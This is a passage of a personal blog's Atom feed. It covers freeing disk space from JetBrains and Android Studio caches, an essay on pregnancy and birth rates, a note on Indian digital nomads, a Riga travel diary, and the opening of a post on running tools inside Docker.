</span></span><span style="display:flex;"><span>382M    JetBrains/PyCharmCE2023.3
</span></span><span style="display:flex;"><span>387M    JetBrains/PyCharmCE2024.1
</span></span><span style="display:flex;"><span>625M    JetBrains/GoLand2023.2
</span></span><span style="display:flex;"><span>927M    JetBrains/GoLand2024.1
</span></span><span style="display:flex;"><span>938M    JetBrains/GoLand2023.3
</span></span><span style="display:flex;"><span>950M    JetBrains/GoLand2024.2
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>5.3G    total</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>If you check inside, it is mostly &ldquo;plugins&rdquo; that are consuming the disk space.
It is safe to delete all the old versions of the settings unless you are planning to downgrade.</p>
<p>Google built Android Studio on top of IntelliJ IDEA.
And Android Studio is no better either.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">9
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ du -shc ~/Library/Application<span style="color:#cb4b16">\ </span>Support/Google/* | sort -h
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>228M    Google/AndroidStudio2022.3
</span></span><span style="display:flex;"><span>230M    Google/AndroidStudio2023.2
</span></span><span style="display:flex;"><span>231M    Google/AndroidStudio2023.3
</span></span><span style="display:flex;"><span>233M    Google/AndroidStudio2024.1
</span></span><span style="display:flex;"><span>240M    Google/AndroidStudio2024.2
</span></span><span style="display:flex;"><span>241M    Google/AndroidStudio2023.1
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>It is safe to delete all the old versions of Android Studio unless you are planning to downgrade.</p>
<p>And what if you got errors in their IDE?<br>
Well, that can lead to a CPU profiling data dump worth GBs as well.
And it is completely safe to delete it.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ du -shc ~/java_error_in_pycharm.hprof
</span></span><span style="display:flex;"><span>2.6G    ~/java_error_in_pycharm.hprof</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And then there are obsolete cache every time you upgrade one of their IDEs</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ du -shc ~/Library/Caches/<span style="color:#719e07">{</span>Google,JetBrains<span style="color:#719e07">}</span>/*
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>2.5G    /Users/ashishb/Library/Caches/JetBrains/GoLand2024.1
</span></span><span style="display:flex;"><span>2.8G    /Users/ashishb/Library/Caches/JetBrains/GoLand2024.2
</span></span><span style="display:flex;"><span>2.9G    /Users/ashishb/Library/Caches/JetBrains/PyCharmCE2024.3
</span></span><span style="display:flex;"><span>482M    /Users/ashishb/Library/Caches/JetBrains/PyCharmCE2025.1
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>It is safe to delete all the old versions of the cache unless you are planning to downgrade.</p>
<p>All in all, I recover about ~10-20GB+ every quarter by just deleting these files.<br>
The other big culprit is Docker, but that&rsquo;s a story for another day.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/java" term="java" label="java"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/></entry><entry><title type="html">Pregnancy</title><link href="https://ashishb.net/parenting/pregnancy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/parenting/genes-and-gender/?utm_source=atom_feed" rel="related" type="text/html" title="Family Ties in Your DNA: Some relatives are closer than others"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><link href="https://ashishb.net/tech/github-stars/?utm_source=atom_feed" rel="related" type="text/html" title="The real lock-in in GitHub is not the code, but the stars"/><id>https://ashishb.net/parenting/pregnancy/</id><author><name>Ashish Bhatia</name></author><published>2025-09-06T03:30:08+00:00</published><updated>2025-09-06T03:30:08+00:00</updated><content type="html"><![CDATA[<blockquote>Pregnancy is difficult to attain, hard to maintain, and even a successful one  is just the beginning of a the process of child raising</blockquote><h2 id="getting-pregnant-is-hard">Getting pregnant is hard</h2>
<p>Seeing that there are 8 billion people in the world makes you think that the process of creation
might be easy.
it isn&rsquo;t.<br>
Females are born with all the   
    
    
<a href="https://www.naturalcycles.com/cyclematters/5-facts-about-the-female-egg-cell?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">eggs</a>
they will ever have.<br>
And there is exactly one (yes one!) chance of conception every month.<br>
There is a reason why there is a   
    
    
<a href="https://www.grandviewresearch.com/industry-analysis/ovulation-testing-kits-market-report?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">billion-dollar industry</a> that helps
females track pregnancy cycles.<br>
And &ldquo;how to get pregnant&rdquo; is a   
    
    
<a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC4235320/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">popular</a> search query.</p>
<h2 id="staying-pregnant-is-hard">Staying pregnant is hard</h2>
<p>About 33% pregnancies   
    
    
<a href="https://www.guttmacher.org/fact-sheet/pregnancy-trends-united-states?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fail</a>.</p>
<p>Even the doctor wife of a multi-billionaire suffered three unfortunate  
    
    
<a href="https://www.forbes.com/sites/tarahaelle/2015/08/02/zuckerberg-helps-destigmatize-miscarriage-these-women-share-their-stories-too/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">miscarriages</a>.</p>
<p>Anecdotally, I don&rsquo;t even know 10 people who have ended up in a severe accident.
However, I can count 10+ stories of miscarriages in my immediate circle.
Right from early miscarriages to fetus abnormalities that lead to forced abortions.
These stories are all too common.</p>
<h2 id="successful-pregnancy-is-just-the-beginning">Successful pregnancy is just the beginning</h2>
<p>A newly born baby needs continuous monitoring, 6-10 feeds and 4-8 diaper changes.
Well, once they start moving, they can injure themselves, sometimes   
    
    
<a href="https://www.hindustantimes.com/india-news/fouryearold-girl-dies-after-falling-from-12th-floor-in-maharashtras-vasai-101753450204967.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fatally</a>.
All in all, it is about 10-14 years of commitment before a child can be left alone for extended periods.
All of this is a time commitment.
The time that could have been instead spent sifting email in email mines.</p>
<h2 id="pregnancy-risk-is-asymmetric">Pregnancy risk is asymmetric</h2>
<p>Being a male was physically dangerous only till 100 years ago.
A male  would end up in fights.
A male can be forcefully conscripted in a war to fight for a king he has never seen to attack other males he doesn&rsquo;t care about.
The farm and industry jobs were no less dangerous.
Losing a limb or two was part of life.
In such circumstances, for a female, the idea of being pregnant wasn&rsquo;t that unattractive.</p>
<p>A male today in advanced countries might spend their entire life without being in a single fist fight.
The pregnancy still remains a fairly involved work.</p>
<p>It isn&rsquo;t surprising war prone areas ranging from   
    
    
<a href="https://www.thepublicdiscourse.com/2024/09/95824/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Israel</a> to   
    
    
<a href="https://www.macrotrends.net/global-metrics/countries/sdn/sudan/fertility-rate?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sudan</a> have high fertility rates.</p>
<h2 id="timescales-have-shifted-except-for-pregnancy">Timescales have shifted except for pregnancy</h2>
<blockquote>
<p>when the easy gets easier the hard gets harder</p></blockquote>
<p>100 years back, 10-60 days shipping voyages were common and risky.
Postal deliveries took multiple days.</p>
<p>Now, we live in the age of instant connections.
Instant food.
And instant entertainment.
The time it takes for pregnancy and child raising has still remained the same.</p>
<h2 id="pregnancy-has-no-rewards-for-professional-parents">Pregnancy has no rewards for professional parents</h2>
<p>For an Amish   
    
    
<a href="https://www.npr.org/2003/11/13/1504767/amish-seek-exemption-from-child-labor-laws?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">working</a> in a farm, a 10-year-old child is an extra pair of hands.</p>
<p>A professional has little upside of having a child in the short-term.</p>
<p>For a Software Engineer at Google or a trader at Goldman Sachs,
even an 18-year-old Stanford-enrolled child is a money sink.</p>
<h2 id="globalization-reduces-need-for-pregnancy">Globalization reduces need for pregnancy</h2>
<p>In a tribal world, pregnancy was the only way to sustain one&rsquo;s tribe.
And that&rsquo;s why humans have such   
    
    
<a href="https://www.thebump.com/a/birth-traditions-around-the-world?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">elaborate customs</a>
around celebrating pregnancy and childbirth.</p>
<p>In a globalized world, one can easily borrow workers from another tribe.</p>
<p>Consider Japan as an example.
Even if the Japanese workforce is shrinking,
the Mexican workers in Toyota factories are churning cars for Americans customers as well as
the dividends for Japanese shareholders.</p>
<p>This would have been unfathomable till ~1500 A.D.
And even after that, this was a fairly unreliable approach to prosperity
till the second world war bought the requisite peace.</p>
<h2 id="the-fall-in-birth-rates">The fall in birth rates</h2>
<p>Given all of the above logical arguments, the   
    
    
<a href="https://www.newyorker.com/magazine/2025/03/03/the-population-implosion?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">precipitous fall in birth rates</a>, even in middle
incomes countries like   
    
    
<a href="https://lopezdoriga.com/nacional/mexico-cae-tasa-de-fecundidad-en-2023/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mexico</a>
and   
    
    
<a href="https://nordicmonitor.com/2025/05/turkey-sounds-alarm-over-declining-birth-rates-amid-economic-concerns/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Turkey</a>
is not surprising.</p>
]]></content><category scheme="https://ashishb.net/category/parenting" term="parenting" label="parenting"/><category scheme="https://ashishb.net/tag/gender" term="gender" label="gender"/></entry><entry><title type="html">Why there aren't many digital nomads from India</title><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="related" type="text/html" title="USA = Union of Sales and Advertisement"/><link href="https://ashishb.net/finance/how-do-businesses-make-money/?utm_source=atom_feed" rel="related" type="text/html" title="How do businesses make money"/><id>https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/</id><author><name>Ashish Bhatia</name></author><published>2025-08-23T19:00:18+00:00</published><updated>2025-08-23T19:00:18+00:00</updated><content type="html"><![CDATA[<blockquote>Explore why Indian digital nomads are fewer: weak passports and high living costs abroad deter young travelers, despite tech talent migration trends.</blockquote><p>Most digital nomads are from the western world.
Technology workers and immigrants in the US, Canada, and Australia are overwhelmingly from India.
Even then the digital nomads are fewer. I think the reasons are two-fold.</p>
<ol>
<li>The Indian passport is 
<a href="/all/why-indian-passport-remains-weak/">weak</a> - traveling on it is much harder for digital nomads who are overwhelmingly young.</li>
<li>India has a low cost of living - when someone from the western world moves to Bali, Thailand, Mexico, or Argentina, their cost of living goes down significantly. While the cost of living for Indians, relative to India, mostly goes up or stays the same, this reduces the incentive to move.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/digital-nomads" term="digital-nomads" label="digital-nomads"/></entry><entry><title type="html">Two days in Riga, Latvia</title><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Helsinki, Finland"/><link href="https://ashishb.net/travel/oslo-norway/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Oslo, Norway"/><id>https://ashishb.net/travel/riga-latvia/</id><author><name>Ashish Bhatia</name></author><published>2025-08-16T17:00:57+00:00</published><updated>2025-08-16T17:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Riga&rsquo;s hidden gems in a budget-friendly Eastern European adventure! From historical sites to thrilling activities, find out what makes Riga unique!</blockquote><p>Compared to 
<a href="/travel/tallinn-estonia/">Tallinn</a> or 
<a href="/travel/budapest-hungary/">Budapest</a>, Riga is unassuming.</p>
<p>Most people end up in Riga while doing an Eastern Europe tour.
The bus ride from Tallinn to Riga is only 4 hours and ~ €20 one-way.
I would highly recommend the comfortable buses of   
    
    
<a href="https://luxexpress.eu/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lux Express</a> for this journey.</p>
<h2 id="day-1">Day 1</h2>
<p>I started my day with a   
    
    
<a href="https://www.rigafreetours.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a>.
If, like me, you are coming from 
<a href="/travel/tallinn-estonia/">Tallinn</a>, then don&rsquo;t have high hopes, as there isn&rsquo;t a lot to see in the walking tour.</p>
<p>  
    
    
<a href="https://en.wikipedia.org/wiki/Latvian_Academy_of_Sciences?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Latvia Academy of Sciences</a> building was designed as a gift to Stalin during the soviet occupation,
It was converted into a secular building.</p>
<figure>
    
    <a href="latvia-riga-academy-of-sciences.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="latvia-riga-academy-of-sciences.jpg"
         alt="Latvia Academy of Sciences" width="900"/> </a>
</figure>

<p>The three stars in the Latvian flag represent three regions of Latvia.</p>
<figure>
    
    <a href="latvia-riga-war-memorial.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="latvia-riga-war-memorial.jpg"
         alt="War Memorial" width="900"/> </a>
</figure>

<p>This site claims to be the   
    
    
<a href="https://www.tourpoint.lv/en/blog/history-first-christmas-tree-riga-latvia-in-year-1510-/8?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">first Christmas Tree celebration</a>.</p>
<figure>
    
    <a href="latvia-riga-first-christmas-tree.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="latvia-riga-first-christmas-tree.jpg"
         alt="First Christmas Tree Celebration" width="900"/> </a>
</figure>

<p>In the evening, do check out   
    
    
<a href="https://maps.app.goo.gl/9JZXGzZDwqx4exNX6?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Armoury Bar</a>, where in lieu of buying drinks, you get to play with unloaded guns.</p>
<figure>
    
    <a href="latvia-riga-armoury-bar.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="latvia-riga-armoury-bar.jpg"
         alt="Armoury Bar" width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>I started the day with a trip to   
    
    
<a href="https://www.shooting.lv/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Walters Sautuve</a>, where for €30 I was able to practice with a Glock and an AR-223 rifle.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/_2E4lufJIqw?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Then, I headed to   
    
    
<a href="https://maps.app.goo.gl/8984Ro6XqaASZbo58?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Drifa Halle</a> where I rode a   
    
    
<a href="https://www.riderowdy.com/drift-trikes/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Drift Trike</a> for €12 every 10 mins of ride.
This is similar to go-karting, except it is more fun as the Trike drifts much more.</p>
<figure>
    
    <a href="lativa-riga-trike.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="lativa-riga-trike.jpg"
         alt="Trike bike" width="900"/> </a>
</figure>

<p>This was a short day for me, as I had to continue my eastern European journey to 
<a href="/travel/vilnius-lithuania/">Vilnius, Lithuania</a>.</p>
<h2 id="note">Note</h2>
<ol>
<li>Credit cards are widely accepted</li>
<li>Riga, like a typical Eastern 
<a href="/tag/europe/">European</a> city is much cheaper than Southern 
<a href="/tag/europe/">Europe</a> or the 
<a href="/travel/helsinki-finland/">nordic countries</a>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/latvia" term="latvia" label="latvia"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">To keep your machine secure, run third-party tools inside Docker</title><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/?utm_source=atom_feed" rel="related" type="text/html" title="Hermetic docker images with Hugging Face machine learning models"/><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; Poetry inside Docker"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><id>https://ashishb.net/programming/run-tools-inside-docker/</id><author><name>Ashish Bhatia</name></author><published>2025-08-09T02:00:08+00:00</published><updated>2025-08-09T02:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Always run third-party CLI tools inside Docker</blockquote><p>  
    
    
<a href="https://github.com/ashishb/amazing-sandbox?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/amazing-sandbox?style=flat&logo=github&label=Amazing%20Sandbox"></a></p>
<p>Let&rsquo;s say you are running a linter like   
    
    
